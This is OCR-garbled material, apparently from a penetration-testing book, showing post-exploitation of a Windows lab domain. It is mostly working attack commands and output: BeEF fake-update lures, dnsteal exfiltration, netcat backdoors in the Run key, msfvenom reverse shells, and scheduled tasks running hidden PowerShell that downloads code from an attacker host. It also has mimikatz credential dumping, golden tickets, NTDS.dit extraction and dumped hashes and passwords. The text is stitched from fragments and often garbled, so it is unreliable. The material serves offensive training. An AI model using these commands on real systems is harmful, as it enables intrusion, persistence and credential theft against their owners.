4 Devices with Removable Storage (1)

Local Disk (C:)

41.4.GB free of 59.9 GB

é DVD Drive (D7)

4 Network Location (3)

F

users (1192.168.0.119) 0¢)

[ E—
41.4GB free of 59.9 GB

C$ (\\192.168.0.166) Z3)

42.2 GB free of 59.9 GB

L
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Getting Started | rogs

Details || Logs || Commands || Rider |

Search

b (2] Browser (53)

b (] Chrome Extensions (6)

» (] Debug (9)

b (2 Exploits (78)

b (ZJHost (22)

b (ZJIPEC (9)

b (2] Metasploit (1)

b (L Misc (16)

b (Z) Network (19)

b (2] Persistence (5)

b (2 Phonegap (16)

4 3 Social Engineering (21)
(u Clickjacking
. Fake LastPass
 Lcamtuf Download
@ Clippy
@ Fake Flash Update
@ Fake Nofification Bar (Chre
@ Fake Nofification Bar (Fire
@ Fake Nofification Bar (IE)
& Google Phishing

2017-04-26 08:07 command 1

Id:

Clippy image
directory:
Custom text:

Executable:

Time until
Clippy shows
his face again:

Thankyou

message after
downloading:

Brings up a dippy image and
asks the user to do stuff. Users

who accept are prompted to
download an executable.

You can mount an exe in BeEF as|
per
extensions/social_engineering/di

14

http://192.16€

Your browser 2

http://store.viji
5000

Thanks for upg
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git clone https://github.com/m57/dnsteal/
cd dnsteal
python dnsteal.py 192.168.1.104 -z -s 4 -b 57 -f 17
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il ol [} 17:36

= My Computers C

DESKTOP-GIE32H7
GJ

Host is offline. Last seen online 3 hours ago, 14:28.
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root@kali:~# cryptcat -k password -1 -p 444
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C:\cryptcat -k password <listener IP address> 444
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C:\windows\system32>shutdown /r /t 15
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rootekali:~# nc -vv 192.168.0.119 8888
192.168.0.119: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.119] 8888 (2) open

Microsoft Windows [Version 6.1.7601]

copyright (c) 2009 Microsoft Corporation. All rights reserved.

[c: \Windows \syswows4>]
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meterpreter>reg setval -k
HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d
'C:\windows\system32\nc.exe -Ldp 8888 -e cmd.exe'
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meterpreter> reg queryval -k
HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
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meterpreter > shell
Process 464 created.

Channel 12 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\System32>netsh advfirewall firewall add rule name="svchostpassthroug}
" dir=out action=allow protocol=TCP localport=8888

netsh advfirewall firewall add rule name="svchostpassthrough" dir=out action=alll
ow protocol=TCP localport=8888

ok.

C:\Windows\System32>netsh advfirewall firewall show rule name="svchostpassthrou
B
netsh advfirewall firewall show rule name="svchostpassthrough"

Rule Name svchostpassthrough

Enabled Yes

Direction: out

Profiles: Domain,Private,Public
Grouping:

LocalIP: Any

RemoteIP: Any

Protocol: TCP

LocalPort: 8888
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meterpreter> reboot
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C:\Windows\system32>netsh advfirewall firewall add rule
name="svchostpassthrough" dir=in action=allow protocol=TCP localport=8888
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C:\windows\system32>netsh advfirewall firewall show rule
name="svchostpassthrough"
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msfvenom -a x86 —--platform Windows -p
windows/meterpreter/reverse_tcplhost=192.168.0.109 lport=443 -e
x86/shikata_ga_nai -i 5 -f exe -o attackl.exe
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meterpreter > run persistence -U -i 5 -p 443 -r 192.168.0.109

[
(&3]
L£]
A1

Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
Example: run post/windows/manage/persistence exe OPTION=value [...]

Running Persistence Script

Resource file for cleanup created at /root/.msf4/logs/persistence/VICTIM 201

70610.4514/VICTIM 20170610.4514.rc

[*3
43

1*]
[+1
[x]
[+]
[*1

Creating Payload=windows/meterpreter/reverse tcp LHOST=192.168.0.109 LPORT=4

Persistent agent script is 99629 bytes long

Persistent Script written to C:\Windows\TEMP\eeeOGO.vbs

Executing script C:\Windows\TEMP\eeeOGO.vbs

Agent executed with PID 4016

Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Ri

N\XGsWtiFaUVVDYLs

[+]

Installed into autorun as HRCU\Software\Microsoft\Windows\CurrentVersion\Ri

\XGSWtiFaUVVDYLs
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meterpreter>run multi_console_command -rc
/root/.msf4/logs/persistence/VICTIM_20170610.4514/VICTIM 20170610.4514.rc
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C:\Windows\System32>schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system3Z|
\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c |
IEX ((new-object net.webclient) .downloadstring(''http://192.168.0.109:8080/'''))
'" /sc onidle /i 30

schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\powershell.exe -Wir
dowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net|
.webclient) .downloadstring (' 'http://192.168.0.109:8080/'''))'" /sc onidle /i 30
SUCCESS: The scheduled task "OfficeUpdaterC" has successfully been created.
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schtasks /create /tn WindowsUpdate /tr
"c:\windows\system32\powershell .exe -WindowStyle hidden -NolLogo -
NonInteractive —ep bypass —-nop -c 'IEX ((new-object
net.webclient) .downloadstring (' 'http://192.168.0.109:8080/''"'))'"

/sc onlogon /ru System
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meterpreter > background
[*] Backgrounding session 1...

msf exploit(handler) > use exploit/multi/script/web_delivery

msf exploit(web_delivery) > set target 2

target => 2

msf exploit(web delivery) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_ tcp

msf exploit(web delivery) > set lhost 192.168.0.109

lhost => 192.168.0.109

msf exploit(web_delivery) > set lport 443
lport => 443
msf exploit(web delivery) > set URIPATH /

URIPATH => /
msf exploit(web delivery) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.0.109:443

msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.0.109:8080/

[*] Server started.

[*] Run the following command on the target machine:

powershell.exe -nop -w hidden -c $Y¥Y=new-object net.webclient;$Y.proxy=[Net.WebRe|
quest] : :GetSystemWebProxy () ; $¥.Proxy.Credentials=[Net.CredentialCache] : :DefaultcC|
redentials;IEX $Y.downloadstring('http://192.168.0.109:8080/');
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(Empire: powershell/persistence/elevated/schtasks) > set Listener http
(Empire: powershell/persistence/elevated/schtasks) > execute
[>] Module is not opsec safe, run? [y/N] y

(Empire: powershell/persistence/elevated/schtasks) >

SUCCESS: The scheduled task "Updater" has successfully been created.
Schtasks persistence established using listener http stored in HKIM:\Sq|
rigger at 09:00.
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meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence exe.
['] Example: run post/windows/manage/persistence exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

<opt>
<opt>

Automatically start a matching exploit/multi/handler to connect to the agent
Location in target host to write payload to, if none $TEMP% will be used.
Payload to use, default is windows/meterpreter/reverse_tcp.

Automatically start the agent on boot as a service (with SYSTEM privileges)
Alternate executable template to use

Automatically start the agent when the User logs on

Automatically start the agent when the system boots

This help menu

The interval in seconds between each connection attempt

The port on which the system running Metasploit is listening

The IP of the system running Metasploit listening for the connect back
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schtasks /create /tn WindowsUPdate /tr
"c:\windows\system32\powershell .exe -WindowStyle hidden -NolLogo -
NonInteractive —-ep bypass —-nop -c¢ 'IEX ((new-object
net.webclient) .downloadstring (' 'http://192.168.0.109:8080/''"'))'"
/sc onstart /ru System
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schtasks /create /tn WindowsUPdate /tr
"c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -
NonInteractive —-ep bypass -nop -c 'IEX ((new-object

net .webclient) .downloadstring (' 'http://192.168.0.109:8080/''"))'"
/sc onidle /i 30
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(Empire: SY37D15Z) > usemodule privesc/getsystem
(Empire: powershell/privesc/getsystem) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/privesc/getsystem) >

Running as: ADVANCED\SYSTEM

Get-system completed
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(Empire: SY37D15Z) > mimikatz
(Empire: SY37D15z) >
Job started: PRHGZN

Hostname: metasploitable3.Advanced.Pentest.com / S-1-5-21-200656168-3689603815-2654161410

.#####. mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
.## ~ ##. "A La Vie, A L'Amour"
# /N8 O/
## \ / ## Benjamin DELPY ‘gentilkiwi' ( benjamin@gentilkiwi.com )
'"## v ##'  http://blog.gentilkiwi.com/mimikatz (0e.e0)
i with 20 modules * * */

mimikatz (powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 790262 (00000000:000c0ef6)
Session : Interactive from 1
User Name : vagrant
Domain : ADVANCED
Logon Server : METASPLOITABLE3
Logon Time : 6/12/2017 4:56:07 aM
SID : S-1-5-21-200656168-3689603815-2654161410-1000
nsv :
[00000003] Primary
* Username vagrant
* Domain ADVANCED
* IM 5229b7£52540641daad3b435b51404ee
* NTILM €02bc503339d51£71d913¢245d35b50b
* SHAl c805£88436bcd9ff534ee86c59ed230437505ect
tspkg :
* Username : vagrant
* Domain ADVANCED






OEBPS/Image00559.jpg
usemodule situational_awareness/network/powerview/get_loggedOn
execute
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(Empire: powershell/situational_awareness/network/powerview/get loggedon) >
Job started: 9DANKW

wkuil username wkuil logon dom wkuil oth domai wkuil_logon ser ComputerName

METASPLOITABLE3 localhost
sshd_server METASPLOITABLE3 localhost

METASPLOITABLE3$ ADVANCED localhost
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Credentials:

CredID CredType

1
2
3
4
5
6
7
8

hash
hash
hash
plaintext
plaintext
plaintext
plaintext

Advanced.Pentest.com
ADVANCED
ADVANCED
ADVANCED
ADVANCED
ADVANCED
ADVANCED . PENTEST . COM
ADVANCED . PENTEST . COM

METASPLOITABLE3$
sshd_server
vagrant
sshd_server
vagrant
sshd_server

Host

metasploitable3
metasploitable3
metasploitable3
metasploitable3
metasploitable3
metasploitable3
metasploitable3
metasploitable3

Password

0112080c954fb5£596270ee8b61173c8
€02bc503339d51£71d913c245d35b50b
fdffS5cae2f2cfd23leabe238152b57£9
8d0al6cfc061c3359db455d00ec27035
vagrant

D@rj33ling

vagrant

D@rj33ling
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Ntdsutil "ac I ntds""ifm""create full c:\temp" g gq
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interact <agentname>
use powershell/situational_awareness/network/powerview/get_group_member
execute
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(Empire: powershell/situational awareness/network/powerview/get group member) >
Job started: HRFCAX

GroupDomain Advanced.Pentest.com
GroupName Domain Admins
Advanced.Pentest.com
TOPSECRET$
S§-1-5-21-200656168-3689603815-2654161410-1124
False
CN=TopSecret,OU=Domain Controllers,DC=Advanced,DC=Pentest,DC=com

Advanced.Pentest.com

Domain Admins

Advanced.Pentest.com

COLDO$
S-1-5-21-200656168-3689603815-2654161410-1123

False
CN=cold0,CN=Computers,DC=Advanced,DC=Pentest,DC=com

Advanced.Pentest.com

Domain Admins

Advanced.Pentest.com

Administrator
5-1-5-21-200656168-3689603815-2654161410-500

False
CN=Administrator,CN=Users,DC=Advanced,DC=Pentest,DC=com
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use lateral_movement/invoke_wmi
set Listener <listenername>

set ComputerName Metasploitable (Domain Controller name)
execute
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(Empire: powershell/lateral movement/invoke wmi) > set Listener httpl
(Empire: powershell/lateral_movement/invoke_wmi) > set ComputerName Metasploitable3
(Empire: powershell/lateral movement/invoke wmi) > execute

(Empire: powershell/lateral movement/invoke wmi) >
Invoke-Wmi executed on "Metasploitable3"
[+] Initial agent N6SHBX8C from 192.168.0.166 now active
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kerberos: :golden /admin:Administrator /domain:METASPLOITABLE3 /id:ACCOUNTID
/sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
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meterpreter> upload/usr/share/windows-binaries/nc.exe
C:\\WINDOWS\\system32
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usemodule credentials/mimikatz/golden_ticket
set user <domain user>
execute
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(Empire: powershell/credentials/mimikatz/golden_ticket) >
Job started: 8LU12A

Hostname: metasploitable3.Advanced.Pentest.com / S-1-5-21-200656168-3689603815-

. mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17

.## ~ ##. "A La Vie, A L'Amour"
#H O\ H /o
## \ / ## Benjamin DELPY "gentilkiwi' ( benjamin@gentilkiwi.com )
'## v ##'  http://blog.gentilkiwi.com/mimikatz (oe.e0)
i with 20 modules * * */

mimikatz (powershell) # kerberos::golden /domain:Advanced.Pentest.com /user:vagr

161410 /krbtgt:0112080c954fb5£596270ee8b61173c8 /ptt
User vagrant

Domain Advanced.Pentest.com (ADVANCED)

SID §-1-5-21-200656168-3689603815-2654161410
User Id 500

Groups Id *513 512 520 518 519
ServiceKey: 0112080c954fb5£596270ee8b61173c8 - rc4_hmac nt

Lifetime 6/12/2017 6:12:26 AM ; 6/10/2027 6:12: 26 aM ; 6/10/2027 6:12:26 AM
Ticket ** pPass The Ticket **

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated
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meterpreter > upload /usr/share/windows-binaries/nc.exe c:\windows\system32
[*] uploading : /usr/share/windows-binaries/nc.exe -> c:windowssystem32

[*] uploaded _: /usr/share/windows-binaries/nc.exe -> c:windowssystem32
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B Administrator: Windows PowerShell

Windows PowerShell
Copyright (C> 2889 Microsoft Corporation. All rights reserved.

PS C:\Users\vagrant> ntdsutil “ac i ntds" “ifm" “create full c:\temp" q g
G:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to “ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {£f135322d-96ea—-47d6-bhlla-h7ie28f4adea’ generated successfully.
Snapshot {5h987acc-d863-43ce—?811-8c9b3e?96ah4? mounted as C:\$SNAP_20170612@8525_UOLUMECS\
Snapshot {5h9B7acc-d863-43ce—9011-8c9h3e?96ah4> is already mounted.
Initiating DEFRAGMENTATION mode...

Source Database: C:\$SNAP_201786126525_UOLUMEC$\Windows\NTDS\ntds.dit

Target Database: c:\temp\ctive Directory\ntds.dit

Defragmentation Status <% complete>
18 28 38 40 50 @ 88 90 108

Copying c:\temp\registry\SYSTEM

Copying c:\temp\registry\SECURITY

Snapshot {5h987acc-d863-43ce—-9811-8c%h3e?96ab4> unmounted.
I_fﬂ media created successfully in c:\temp

ifm: g

C:\Windows\system32\ntdsutil.exe: g

PS C:\Users\vagrant> _
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privilege: :debug
lsassdump::lsa /inject
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[5+] Administrator: C:\Windows\system32\cmd.exe

Microsoft Windows [Uersion 6.1.76011
ICopyright (c> 2089 Microsoft Corporation. A1l rights reserved.

Users\vagrant>cd Desktop
C:\Users\vagrant\Desktop>minikatz.exe

JHEBHE.  mimikatz 2.1.1 Cx64) built on Jun
L~ #t. VA La Uie, A L’Anour"
B\ BE e %o

Benjamin DELPY ‘gentilkiwi® ¢ benjaminBgentilkiwi.com )

# N\, uH
THE v B http://blog.gentilkiwi.com/minikatz <oe.eo)
with 21 modules » » =/

T g

minikatz # privilege::debug
[Privilege '28° OK

7 2017 92:26:11

minikatz # lsadump::lsa /inject
[Domain : ADUANCED / §-1-5-21-20P656168-3689603815-2654161418

29panif4 (508>
Administrator

y
ﬁal‘ﬂ : eB2bc503339d51£71d913c245d35b568h
Hash NTLM: eB2bc583339d51£71d9130245d35550h

: 0PPAB1ES <501)
[User : Guest

* Primary
NILM

0000B1f6 (502>

y
NTLM 08112080c954f b5£596270eeB8h61173c8
LM

954f b5£596270ee8b61173c8
911208808c954f b5£596270ee8h61173c8
@8: 1c954h52£398ac?9a6cFa24c96ab69ch
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root@kal. /registry# secretsdump.py -system SYSTEM -security SECURITY -ntds ../
Impacket v0.9.13 - Copyright 2002-2015 Core Security Technologies

[*] Target system bootKey: 0x2d062ac801bala31a789f08e648e44b8

[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domair|
[*] Dumping LSA Secrets

[*] $MACHINE.ACC

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee: fdff5cae2f2cfd231eabe238152b57£9
[*] DefaultPassword

(Unknown User) :vagrant

[*] DPAPI_SYSTEM

0000 01 00 00 00 CO BA 8E

0010 B5 44 OF 92 8C DD BB

0020 6B 37 E4 57 78 6A EA

[*] NL$RM

0000 E5 61 Bl 2B FF 6B FF

0010 64 01 76 6E C6 88 16

0020 5E 89 E6 AC 3A 7B DA

0030 62 AD 86 64 A0 F8 OF

[*] _SC OpenssHEd

(Unknown User) :D@r3j331l1ing

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Searching for pekList, be patient
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e s
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Searching for pekList, be patient

[*] Pek found and decrypted: 0Ox96efe3993aB022a2a6d54b251e2fdfc3

[*] Reading and decrypting hashes from ../Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3ba3sb51404ee :e02bc503339d51£714913¢245d35b50b

Guest:501:aad3b435b51404eeaad3ba35b51404ee : 31d6cfe0dl6ae931b73c59d7e0c089c0: : :
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51£71d913c245d35b50]
sshd:1001:aad3b435b51404eeaad3b435b51404ee: 31d6cfe0dl6ae931b73c59d7e0c089c0:
sshd_server:1002:aad3b435b51404eeaad3ba35b51404ee: 8d0al6c£c061c3359dba55d00ec27035
leah_organa:1003:aad3b435b51404eeaad3b435b51404ee : Bae6a810ce203621cEIcLa6E21£14028
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